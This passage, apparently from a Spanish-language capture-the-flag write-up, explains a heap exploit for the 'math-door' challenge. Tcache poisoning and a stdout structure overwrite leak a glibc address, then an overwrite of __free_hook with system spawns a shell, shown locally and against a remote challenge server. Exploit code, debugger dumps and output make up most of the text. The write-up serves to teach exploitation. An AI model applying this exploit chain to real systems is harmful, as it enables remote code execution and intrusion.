0x7f5860e80730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f5860e80740 <_IO_2_1_stdout_+160>: 0x00007f5860e7f880 0x0000000000000000
0x7f5860e80750 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f5860e80760 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f5860e80770 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f5860e7c4a0
Antes de modificar la estructura stdout
, guardé algunos chunks para su uso posterior. El primero en &stdout + 0x18
, mediante offsets relativos:
pwndbg> p/x 0x7f5860e806b8 - 0x7f5860e7fbe0
$2 = 0xad8
Este es el código para eso:
add_value(p, 4, _IO_2_1_stdout__offset + 0x18, 0, 0)
create(p) # M + 4
create(p) # M + 5: &stdout + 0x18
Ahora tenemos la dirección en el vector chunks
:
pwndbg> x/64gx &chunks
0x557f047f2060 <chunks>: 0x0000557f05e2d2a0 0x0000557f05e2d2c0
0x557f047f2070 <chunks+16>: 0x0000557f05e2d2e0 0x0000557f05e2d300
0x557f047f2080 <chunks+32>: 0x0000557f05e2d320 0x0000557f05e2d340
0x557f047f2090 <chunks+48>: 0x0000557f05e2d360 0x0000557f05e2d380
0x557f047f20a0 <chunks+64>: 0x0000557f05e2d3a0 0x0000557f05e2d3c0
0x557f047f20b0 <chunks+80>: 0x0000557f05e2d3e0 0x0000557f05e2d400
0x557f047f20c0 <chunks+96>: 0x0000557f05e2d420 0x0000557f05e2d440
0x557f047f20d0 <chunks+112>: 0x0000557f05e2d460 0x0000557f05e2d480
0x557f047f20e0 <chunks+128>: 0x0000557f05e2d4a0 0x0000557f05e2d4c0
0x557f047f20f0 <chunks+144>: 0x0000557f05e2d4e0 0x0000557f05e2d500
0x557f047f2100 <chunks+160>: 0x0000557f05e2d520 0x0000557f05e2d540
0x557f047f2110 <chunks+176>: 0x0000557f05e2d560 0x0000557f05e2d580
0x557f047f2120 <chunks+192>: 0x0000557f05e2d5a0 0x0000557f05e2d5c0
0x557f047f2130 <chunks+208>: 0x0000557f05e2d5e0 0x0000557f05e2d600
0x557f047f2140 <chunks+224>: 0x0000557f05e2d620 0x0000557f05e2d640
0x557f047f2150 <chunks+240>: 0x0000557f05e2d660 0x0000557f05e2d680
0x557f047f2160 <chunks+256>: 0x0000557f05e2d6a0 0x0000557f05e2d6c0
0x557f047f2170 <chunks+272>: 0x0000557f05e2d6e0 0x0000557f05e2d700
0x557f047f2180 <chunks+288>: 0x0000557f05e2d720 0x0000557f05e2d740
0x557f047f2190 <chunks+304>: 0x0000557f05e2d2a0 0x0000557f05e2d310
0x557f047f21a0 <chunks+320>: 0x0000557f05e2d460 0x0000557f05e2d090
0x557f047f21b0 <chunks+336>: 0x0000557f05e2d320 0x00007fe5508f56b8
0x557f047f21c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x557f047f21d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x557f047f21e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x557f047f21f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x557f047f2200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x557f047f2210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x557f047f2220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x557f047f2230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x557f047f2240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x557f047f2250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00007fe5508f56b8
0x7fe5508f56b8 <_IO_2_1_stdout_+24>: 0x00007fe5508f5723 0x00007fe5508f5723
0x7fe5508f56c8 <_IO_2_1_stdout_+40>: 0x00007fe5508f5723 0x00007fe5508f5723
Obsérvese que hay dos create(p)
porque la primera coloca la dirección de Glibc en la cabeza del Tcache, y la siguiente usa esa dirección para asignar el chunk. Como resultado, ahora la cabeza del Tcache apunta a 0x00007fe5508f5723
(que es el valor en la esquina inferior izquierda, no el valor actual en &stdout + 0x18
):
pwndbg> tcachebins
tcachebins
0x20 [ 1]: 0x7fe5508f5723 (_IO_2_1_stdout_+131) ◂— 0x8f67e0000000000a /* '\n' */
El siguiente chunk que guardamos para emplearlo después es uno en __free_hook
, así que calculemos el offset:
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fe5508f6e48 <__free_hook>
pwndbg> p/x 0x7fe5508f6e48 - 0x7fe5508f5723
$2 = 0x1725
Entonces esto explica el siguiente fragmento:
add_value(p, M + 3, 0x1725, 0, 0)
create(p) # M + 6: &__free_hook
Finalmente, modifiquemos el valor de write_ptr
para filtrar las direcciones de memoria (como se dijo antes):
add_value(p, M + 5, 0, 0, 0x20) # read_base, write_base, write_ptr
p.recvline()
p.interactive()
Tendremos estas fugas:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 375902
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '375902', '-x', '/tmp/pwnpvmho3a0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
\x00\x00\xe0w\xdd\xc8W\x7f\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x80X\xdd1. Create
1. Delete
2. Add value
Action:
$
Vemos que \xe0w\xdd\xc8W\x7f
es una dirección dentro de Glibc. Nótese que también aparecen los bytes \xff
. Esto puede parecer familiar, y de hecho es la estructura stdout
:
pwndbg> x/28gx &_IO_2_1_stdout_
0x7f57c8dd66a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f57c8dd6723
0x7f57c8dd66b0 <_IO_2_1_stdout_+16>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66c0 <_IO_2_1_stdout_+32>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66d0 <_IO_2_1_stdout_+48>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66e0 <_IO_2_1_stdout_+64>: 0x00007f57c8dd6724 0x0000000000000000
0x7f57c8dd66f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f57c8dd6700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f57c8dd5980
0x7f57c8dd6710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f57c8dd6720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f57c8dd77e0
0x7f57c8dd6730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f57c8dd6740 <_IO_2_1_stdout_+160>: 0x00007f57c8dd5880 0x0000000000000000
0x7f57c8dd6750 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f57c8dd6760 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f57c8dd6770 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f57c8dd24a0
Específicamente, la fuga indicada anteriormente corresponde a 0x00007f57c8dd77e0
, cuyo offset a la dirección base de Glibc es 0x1ee7e0
:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561f31ded000 0x561f31dee000 r--p 1000 0 ./math-door
0x561f31dee000 0x561f31def000 r-xp 1000 1000 ./math-door
0x561f31def000 0x561f31df0000 r--p 1000 2000 ./math-door
0x561f31df0000 0x561f31df1000 r--p 1000 2000 ./math-door
0x561f31df1000 0x561f31df2000 rw-p 1000 3000 ./math-door
0x561f31df2000 0x561f31df4000 rw-p 2000 5000 ./math-door
0x561f32a87000 0x561f32aa8000 rw-p 21000 0 [heap]
0x7f57c8be7000 0x7f57c8be9000 rw-p 2000 0 [anon_7f57c8be7]
0x7f57c8be9000 0x7f57c8c0b000 r--p 22000 0 ./libc.so.6
0x7f57c8c0b000 0x7f57c8d83000 r-xp 178000 22000 ./libc.so.6
0x7f57c8d83000 0x7f57c8dd1000 r--p 4e000 19a000 ./libc.so.6
0x7f57c8dd1000 0x7f57c8dd5000 r--p 4000 1e7000 ./libc.so.6
0x7f57c8dd5000 0x7f57c8dd7000 rw-p 2000 1eb000 ./libc.so.6
0x7f57c8dd7000 0x7f57c8ddd000 rw-p 6000 0 [anon_7f57c8dd7]
0x7f57c8ddd000 0x7f57c8dde000 r--p 1000 0 ./ld.so
0x7f57c8dde000 0x7f57c8e01000 r-xp 23000 1000 ./ld.so
0x7f57c8e01000 0x7f57c8e09000 r--p 8000 24000 ./ld.so
0x7f57c8e0a000 0x7f57c8e0b000 r--p 1000 2c000 ./ld.so
0x7f57c8e0b000 0x7f57c8e0c000 rw-p 1000 2d000 ./ld.so
0x7f57c8e0c000 0x7f57c8e0d000 rw-p 1000 0 [anon_7f57c8e0c]
0x7ffe1be91000 0x7ffe1beb2000 rw-p 21000 0 [stack]
0x7ffe1bf53000 0x7ffe1bf57000 r--p 4000 0 [vvar]
0x7ffe1bf57000 0x7ffe1bf59000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> p/x 0x00007f57c8dd77e0 - 0x7f57c8be9000
$1 = 0x1ee7e0
Ahora podemos tomar esta salida y calcular la dirección base:
data = p.recvline()
index = data.index(b'\x7f') + 1
glibc_leak = u64(data[index - 6 : index].ljust(8, b'\0'))
p.info(f'Glibc leak: {hex(glibc_leak)}')
glibc.address = glibc_leak - 0x1ee7e0
p.success(f'Glibc base address: {hex(glibc.address)}')
Y todo está perfecto:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 380534
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '380534', '-x', '/tmp/pwnktj_cn67.gdb']
[+] Waiting for debugger: Done
[*] Glibc leak: 0x7f17763707e0
[+] Glibc base address: 0x7f1776182000
[*] Switching to interactive mode
1. Delete
2. Add value
Action:
$
Obteniendo RCE
Esta parte es fácil porque ya tenemos un chunk en __free_hook
:
pwndbg> x/64gx &chunks
0x55d9349ee060 <chunks>: 0x000055d9350332a0 0x000055d9350332c0
0x55d9349ee070 <chunks+16>: 0x000055d9350332e0 0x000055d935033300
0x55d9349ee080 <chunks+32>: 0x000055d935033320 0x000055d935033340
0x55d9349ee090 <chunks+48>: 0x000055d935033360 0x000055d935033380
0x55d9349ee0a0 <chunks+64>: 0x000055d9350333a0 0x000055d9350333c0
0x55d9349ee0b0 <chunks+80>: 0x000055d9350333e0 0x000055d935033400
0x55d9349ee0c0 <chunks+96>: 0x000055d935033420 0x000055d935033440
0x55d9349ee0d0 <chunks+112>: 0x000055d935033460 0x000055d935033480
0x55d9349ee0e0 <chunks+128>: 0x000055d9350334a0 0x000055d9350334c0
0x55d9349ee0f0 <chunks+144>: 0x000055d9350334e0 0x000055d935033500
0x55d9349ee100 <chunks+160>: 0x000055d935033520 0x000055d935033540
0x55d9349ee110 <chunks+176>: 0x000055d935033560 0x000055d935033580
0x55d9349ee120 <chunks+192>: 0x000055d9350335a0 0x000055d9350335c0
0x55d9349ee130 <chunks+208>: 0x000055d9350335e0 0x000055d935033600
0x55d9349ee140 <chunks+224>: 0x000055d935033620 0x000055d935033640
0x55d9349ee150 <chunks+240>: 0x000055d935033660 0x000055d935033680
0x55d9349ee160 <chunks+256>: 0x000055d9350336a0 0x000055d9350336c0
0x55d9349ee170 <chunks+272>: 0x000055d9350336e0 0x000055d935033700
0x55d9349ee180 <chunks+288>: 0x000055d935033720 0x000055d935033740
0x55d9349ee190 <chunks+304>: 0x000055d9350332a0 0x000055d935033310
0x55d9349ee1a0 <chunks+320>: 0x000055d935033460 0x000055d935033090
0x55d9349ee1b0 <chunks+336>: 0x000055d935033320 0x00007f177636f6b8
0x55d9349ee1c0 <chunks+352>: 0x00007f1776370e48 0x0000000000000000
0x55d9349ee1d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x55d9349ee1e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x55d9349ee1f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x55d9349ee200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x55d9349ee210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x55d9349ee220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x55d9349ee230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x55d9349ee240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x55d9349ee250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007f1776370e48
0x7f1776370e48 <__free_hook>: 0x0000000000000000
Entonces, solo necesitamos ingresar la dirección de system
(no se necesitan offsets porque el valor actual aquí es 0
). Luego, ponemos "/bin/sh\0"
como un número en cualquier chunk, de manera que al llamar a free
sobre él realmente se llamará a system
sobre el chunk, que contendrá la cadena "/bin/sh\0"
.
add_value(p, M + 6, glibc.sym.system, 0, 0)
add_value(p, 25, u64(b'/bin/sh\0'), 0, 0)
delete(p, 25)
p.recv(timeout=2)
p.interactive()
Y con esto, obtenemos una shell localmente:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 385181
[*] Glibc leak: 0x7f8fdee167e0
[+] Glibc base address: 0x7f8fdec28000
[*] Switching to interactive mode
$ whoami
rocky
Flag
Vamos a probar en remoto:
$ python3 solve.py 68.183.45.143:32186
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 68.183.45.143 on port 32186: Done
[*] Glibc leak: 0x7f2c8d1e67e0
[+] Glibc base address: 0x7f2c8cff8000
[*] Switching to interactive mode
$ ls
bin
dev
flag.txt
ld.so
lib
lib32
lib64
libc.so.6
math-door
$ cat flag.txt
HTB{th3_w0rld_0f_m4th5_15_4m4z1ng}
El exploit completo se puede encontrar aquí: solve.py
.